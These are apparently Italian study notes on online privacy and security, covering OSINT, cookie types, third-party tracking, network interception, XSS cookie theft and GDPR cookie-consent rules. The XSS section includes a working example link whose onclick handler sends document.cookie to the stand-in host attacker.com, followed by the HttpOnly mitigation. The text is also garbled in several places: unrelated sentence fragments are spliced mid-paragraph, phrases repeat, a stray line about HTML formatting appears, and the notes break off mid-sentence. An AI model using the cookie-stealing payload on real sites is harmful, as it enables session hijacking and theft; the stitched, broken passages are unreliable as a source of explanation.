Appunti Privacy e sicurezza

Modello Ocean (Big Five) - Consigli per mitigare il rischio Privacy e Sicurezza

Privacy: sono le azioni che eludono (violano) la mia volontà

Sicurezza: sono le cose fatte contro la mia volontà

La privacy può essere definita come la capacità di proteggere le informazioni sensibili di carattere personale, mentre la sicurezza è tutto l'apparato e l'infrastruttura che previene l'accesso non autorizzato ai dati e viene definita dalle normative che tutelano la persona e i suoi dati.

La reputazione online indica le cose che succedono secondo la mia "volontà involontaria" (se è volontà volontaria si dice branding, ovvero costruire la propria immagine online). Sono tutti temi strettamente correlati: se c'è un problema di sicurezza si viola la privacy, mentre se c'è un problema di privacy viene compromessa la reputazione.

Open Source Intelligence

L'Open Source Intelligence è la

la disciplina dell'intelligence che si occupa della ricerca, raccolta ed analisi di dati e di notizie d'interesse pubblico tratte da fonti aperte per fare attacchi di Social Engineering è l'OSINT. L'OSINT utilizza diverse fonti di informazioni tra cui: mezzi di comunicazione (giornali...), dati pubblici (conferenze stampa...), osservazioni dirette (fotografie...), ascolto delle conversazioni (in radio...), professionisti e studiosi (conferenze, lezioni...). L'OSINT applica un specifico processo di gestione delle informazioni, data l'attenzione richiesta nell'individuazione preventiva e selezione delle fonti rilevanti, nonché nella determinazione del loro grado di attendibilità. I cookie consentono di mantenere la sessione dell'utente, basandosi sull'utilizzo di un protocollo stateless: vengono utilizzati dalle applicazioni web lato server per archiviare e recuperare informazioni a lungo termine sul lato client. Nel dettaglio,che lo gestisceDalla corretta implementazione del protocollo HTTPS per la trasmissione dei datiDal fatto che il cookie sia contrassegnato come "solo lettura" e non possa essere modificatoDal fatto che il cookie sia crittografato per proteggere i dati sensibiliDal fatto che il cookie abbia una data di scadenza, dopo la quale viene automaticamente eliminatoDal fatto che il cookie sia associato a un indirizzo IP specifico, in modo che possa essere utilizzato solo dal client che lo ha ricevutoDal fatto che il cookie sia inviato solo su connessioni sicure, come ad esempio quelle tramite HTTPSdell'utente. Dal fatto che il cookie sia criptato o meno Tipi di cookie Ci sono diversi tipi di cookie: - Sessione: vengono cancellati alla chiusura del browser. A differenza di altri cookie, i cookie di sessione non hanno una data di scadenza, ed in base a questo il browser riesce ad identificarli come tali. - Persistenti: i cookie persistenti scadono ad una data specifica o dopo un determinato periodo di tempo. Possono essere utilizzati dagli inserzionisti per registrare le informazioni sulle abitudini di navigazione web di un utente per un periodo prolungato di tempo. - Secure: cookie legati ai logon con utente e password. Può essere trasmesso solo su una connessione crittografata (cioè HTTPS). - HttpOnly: possono essere utilizzati solo se trasmessi via HTTP (o HTTPS). Essi non sono accessibili attraverso non-HTTP API come JavaScript: questa restrizione elimina la minaccia del furto di cookie tramite cross-site scripting (XSS). - Terze parti: appartengono a domini diversi da quello dell'utente.

mostrato nella barra degli indirizzi. Questi tipi di cookie appaiono ingenere quando le pagine web sono dotate di contenuti, come ad esempio banner pubblicitari, da siti web esterni.

Permettono il monitoraggio della cronologia di navigazione dell'utente, ed sono spesso usati dagli inserzionisti, nel tentativo di servire annunci rilevanti e personalizzati per ciascun utente.

Tracciamento degli utenti

I cookie, e in particolare i cookie di terze parti, sono comunemente usati per memorizzare le ricerche di navigazione degli utenti: questi dati sensibili possono essere una potenziale minaccia alla privacy degli utenti.

Ogni dominio e ogni sua porzione che viene visitata col browser può impostare dei cookie. Poiché una tipica pagina Internet, ad esempio quella di un giornale in rete, contiene oggetti che provengono da molti domini diversi e ognuno di essi può impostare cookie, è normale ospitare nel proprio browser molte centinaia di cookie.

5. Privacy &

sicurezza 2I cookies possono essere utilizzati anche per tracciare la navigazione su siti terzi, nel caso in cui questi siti terzi utilizzino contenuti provenienti dal sito che ha impostato il cookie. Solitamente la pubblicità sui siti viene gestita da compagnie che hanno inserzioni su svariati siti internet. Il contenuto della pubblicità stessa viene caricato direttamente dal loro server (tramite una richiesta HTTP) e visualizzato in maniera integrata nel sito che l'utente desidera visitare: in questo modo il server della compagnia pubblicitaria riceverà dal browser dell'utente l'indirizzo della pagina che si sta visualizzando, e potrà inviare un cookie al client. Tramite questo meccanismo le società pubblicitarie possono aggregare informazioni sugli utenti e costruirne profili e mostrare loro pubblicità mirate.I cookie sono stati criticati perché non sempre sono in grado di identificare l'utente in modo accurato edin grado di bloccare o limitare l'utilizzo dei cookie di terze parti. Tuttavia, è importante notare che alcuni siti web potrebbero non funzionare correttamente se i cookie di terze parti sono disabilitati. I cookie di terze parti possono essere utilizzati anche per scopi di tracciamento degli utenti. Ad esempio, un sito web potrebbe utilizzare un cookie di terze parti per tenere traccia delle pagine visitate da un utente e mostrare annunci mirati in base ai suoi interessi. Questo tipo di tracciamento può sollevare preoccupazioni sulla privacy degli utenti, poiché le informazioni raccolte possono essere utilizzate per creare profili dettagliati degli utenti e inviare loro annunci personalizzati. Per proteggere la propria privacy, è consigliabile controllare le impostazioni del proprio browser e limitare l'utilizzo dei cookie di terze parti. Inoltre, è possibile utilizzare estensioni o plugin per il browser che bloccano o limitano l'utilizzo dei cookie di terze parti.ingrado di bloccare i cookie di terze parti. Intercettazioni di rete

Il traffico di una rete può essere intercettato e letto da un computer connesso ad una rete diversa rispetto a quella del mittente e destinatario (in particolare quando si è connessi ad una rete Wi-Fi non criptata). Questo traffico include cookie inviati su sessioni HTTP non cifrate, e può permettere agli aggressori di leggere le comunicazioni di altri utenti della rete, inclusi i cookie HTTP, nonché l'intero contenuto delle conversazioni, ai fini di un attacco man-in-the-middle. Un utente malintenzionato potrebbe utilizzare i cookie intercettati per impersonare l'utente proprietario dei cookie ed effettuare operazioni dannose, come ad esempio trasferire somme di denaro dal conto bancario della vittima su altri conti, spesso non rintracciabili.

Inoltre, se un utente malintenzionato è in grado di nascondere un server DNS e di far utilizzare all'utente un server

DNS fittizio/fasullo (DNS cache poisoning), allora questo potrebbe consentire al malintenzionato di ottenere l'accesso ai cookie dell'utente.

Cross-site scripting: furto dei cookie

I cookie possono anche essere rubati utilizzando una tecnica chiamata cross-site scripting: ciò si verifica quando un attaccante sfrutta un sito web che permette agli utenti di inviare contenuto non filtrato HTML e JavaScript. Inviando dei contenuti malevoli HTML e JavaScript, l'attaccante può servirsi del browser della vittima per prendere il controllo dei suoi cookie.

A titolo di esempio, un utente malintenzionato può inviare un messaggio sul www.example.com con il seguente link:

<a href="#" onclick="windows.location='http://attacker.com/stole.cgi?text='+escape(document.cookie); return false;"> Click here! </a>

Quando un altro utente clicca su questo link, il browser esegue un pezzo di codice all'interno dell'attributo onclick.

sostituendocosì la stringa document.cookie con la lista dei cookie che sono accessibili dalla pagina corrente: come risultato, questo elenco di cookie viene inviato al server attacker.com. Tali attacchi possono essere ridotti utilizzando i cookie HttpOnly. Cookie dal punto di vista giuridico Secondo la Commissione Europea "i dati personali sono qualunque informazione relativa a un individuo, collegata alla sua vita sia privata, sia professionale o pubblica". Può riguardare qualunque dato personale: nomi, foto, indirizzi email, dettagli bancari, interventi su siti web di social network, informazioni mediche o indirizzi IP di computer. Per questo anche i cookie devono essere trattati come dati personali, per cui:

• I dati personali non possono essere tracciati o usati prima che l'utente abbia dato il consenso esplicito
• Devono essere specificati tutti i tracciamenti dei dati personali su tutte le pagine/URLs del sito coinvolte
• Gli utenti del sito devono essere

scadenza Ecco come potrebbe essere formattato il testo utilizzando tag html:

Informazioni in un linguaggio semplice su:

1. Privacy & sicurezza

Chi riceve i loro dati, come i loro dati sono usati, la data di scadenza dei cookie:

• Ogni autorizzazione deve essere salvata/registrata per provare alle autorità che è stata concessa (Formato della prova)
• La revoca del consenso deve essere facile da fare, anche in un secondo momento
• La cookie policy deve contenere la lista di tutti i cookie presenti su tutte le pagine del sito e per ognuno di essi:
  • Chi riceve i dati
  • Per cosa sono utilizzati
  • La data di scadenza

Nel caso di presenza di altri tipi di cookie, e quindi quelli pubblicitari e tutti gli altri di terze parti, oltre al cookie banner il GDPR richiede:

• Il consenso esplicito e quindi non più implicito come ad esempio "scrollare" la pagina
• Il blocco preventivo dei cookie prima del consenso
• La registrazione dei log del consenso da fornire come "prova"
• La descrizione per ogni cookie che comprende:
  • Chi riceve i dati
  • Per quale scopo
  • La data di scadenza

scadenza

la possibilità di revocare il consenso in modo semplice anche in un secondo momento

Nuovi strumenti

Nel 2022 Chrome bloccherà l'utilizzo